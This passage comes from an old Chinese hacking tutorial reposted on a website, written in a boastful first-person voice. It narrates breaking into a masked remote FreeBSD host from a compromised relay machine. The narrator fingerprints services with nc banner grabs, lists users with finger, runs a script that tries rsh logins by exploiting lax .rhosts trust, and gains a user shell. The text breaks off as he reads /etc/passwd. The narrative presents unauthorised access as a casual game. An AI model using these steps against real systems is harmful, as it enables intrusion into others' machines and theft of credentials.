　　21404
　　# program vers proto port service
　　100000 2 tcp 111 rpcbind
　　100000 2 udp 111 rpcbind
　　
　　咦，看来没戏唱哦……好在还有那么多服务，待偶慢慢试来……
　　看看是什么FTP服务器软件吧，说不定有远程溢出的漏洞呢 # ./nc 111.111.111.111 21
　　#
　　
　　乖乖龙的东，什么输出也没有就关上了，这是如何一回事？
　　
　　C:\>ftp 111.111.111.111
　　Connected to 111.111.111.111.
　　Connection closed by remote host.
　　
　　呵呵，看来过滤掉了嘛……怎么办？看看25端口是运行什么SMTP服务的吧……
　　
　　# ./nc 111.111.111.111 25
　　220 ***-***-***-*** ESMTP Sendmail 8.9.3/8.9.3; Wed, 5 Apr 2000 08:56:59 GMT
　　
　　Sendmail 8.9.3/8.9.3？好象没有什么致命的漏洞呀……
　　
　　看看是什么WEB服务器先……
　　
　　# (echo "head /http/1.0";echo;echo)./nc -w 3 111.111.111.111 80
　　
　　
　　
　　
　　
　　

Method Not Implemented

　　head to /http/1.0 not supported.

　　Invalid method in request head /http/1.0

　　Apache/1.3.9 Server at ***-***-***-*** Port 80

　　
　　
　　阿帕奇这个版本的东东至少偶的印象中没有什么“死穴”……
　　
　　好在开了finger，俺就土土地先把用户列表弄出来吧……
　　
　　finger O@www.targe.com
　　
　　[www.targe.com]
　　
　　root
　　aaa
　　bbb
　　ccc
　　ddd
　　
　　总算有点收获……，那么下一步该做什么呢？既然这台主机开了512、513、514的r系列服务，那就值得尝试一下，说不定哪个偷懒的家伙直接在.rhosts里设了+ username
　　
　　那我就爽了……
　　
　　顺手写了个shell script，让它去一个一个地尝试rsh命令，传到肉鸡上
　　
　　# chmod 700 rsh.sh
　　# nohup ./rsh.sh www.targe.com
　　
　　它会自动地在/etc/passwd和/etc/shadow里加上finger出来的用户名，然后su过去，再对远程目标111.111.111.111执行rsh命令，成功则返回该用户名……然后将备份的passwd和shadow再拷回去……删除临时文件，生成报告文件……(或许是我对.rhosts的理解还有问题，有时我在机里加上+ +但rcp时还会报Permission denied或者connectrefused,所以干脆都su成用户——或许太笨;)我便再去MUD里当我的大虾了……半个小时后回来,登上肉鸡，读取报告文件.rsh.txt
　　
　　# cat ./.rsh.txt
　　ccc
　　
　　hehe，非常抱歉，看来俺得到一个shell了……
　　
　　进去看看……
　　
　　# rlogin -l ccc 111.111.111.111
　　
　　Last login: Fri Mar 24 19:04:50 from 202.102.2.147
　　Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
　　The Regents of the University of California. All rights reserved.
　　
　　FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 1999
　　
　　You have mail.
　　
　　呵，原来是FreeBSD 3.2-RELEASE呀，感觉不错，进来了，看看我的权限如何吧……
　　
　　> id
　　id
　　uid=1003(ccc) gid=1003(ccc) groups=1003(ccc)
　　
　　看来能做的事还相当有限噢……再看看系统里有没有别人先……
　　
　　> w
　　w
　　9:03PM up 6 days, 2:37, 3 users, load averages: 0.00, 0.01, 0.00
　　USER TTY FROM LOGIN@ IDLE WHAT
　　ccc p0 **.**.***.*** 6:04PM 2:41 -tcsh (tcsh)
　　
　　不错，就我自在逍遥……看看passwd吧……
　　
　　> cat /etc/passwd

上一篇:一次入侵过程的公开分析

下一篇:木马万能查杀法

我是怎么进入他人计算机的相关文章：

·快马加鞭 20秒进入Win XP操作系统

我是怎么进入他人计算机的相关软件：

·Google Earth 动态卫星地图汉化版带我们进入间谍时代能看见你家院子

·高级计算机网络

·深入理解计算机系统电子杂志 PDF

·计算机应用基础（视频）教程(6-10)

·计算机等级考试二级C语言真题

·全国专业技术人员计算机应用能力考试模拟 V2.1

·计算机绘图应用教程——CAXA电子图板XP

·计算机英语词汇大全

·计算机基础知识

特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员，我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源：http://www.vipcn.net

	\| 帮助(？) \| 版权声明 \| 友情连接 \| 关于我们 \| 信息发布
Copyright 2007 www.vipcn.net All Rights Reserved.	鄂ICP备05000083号Powered by:viphot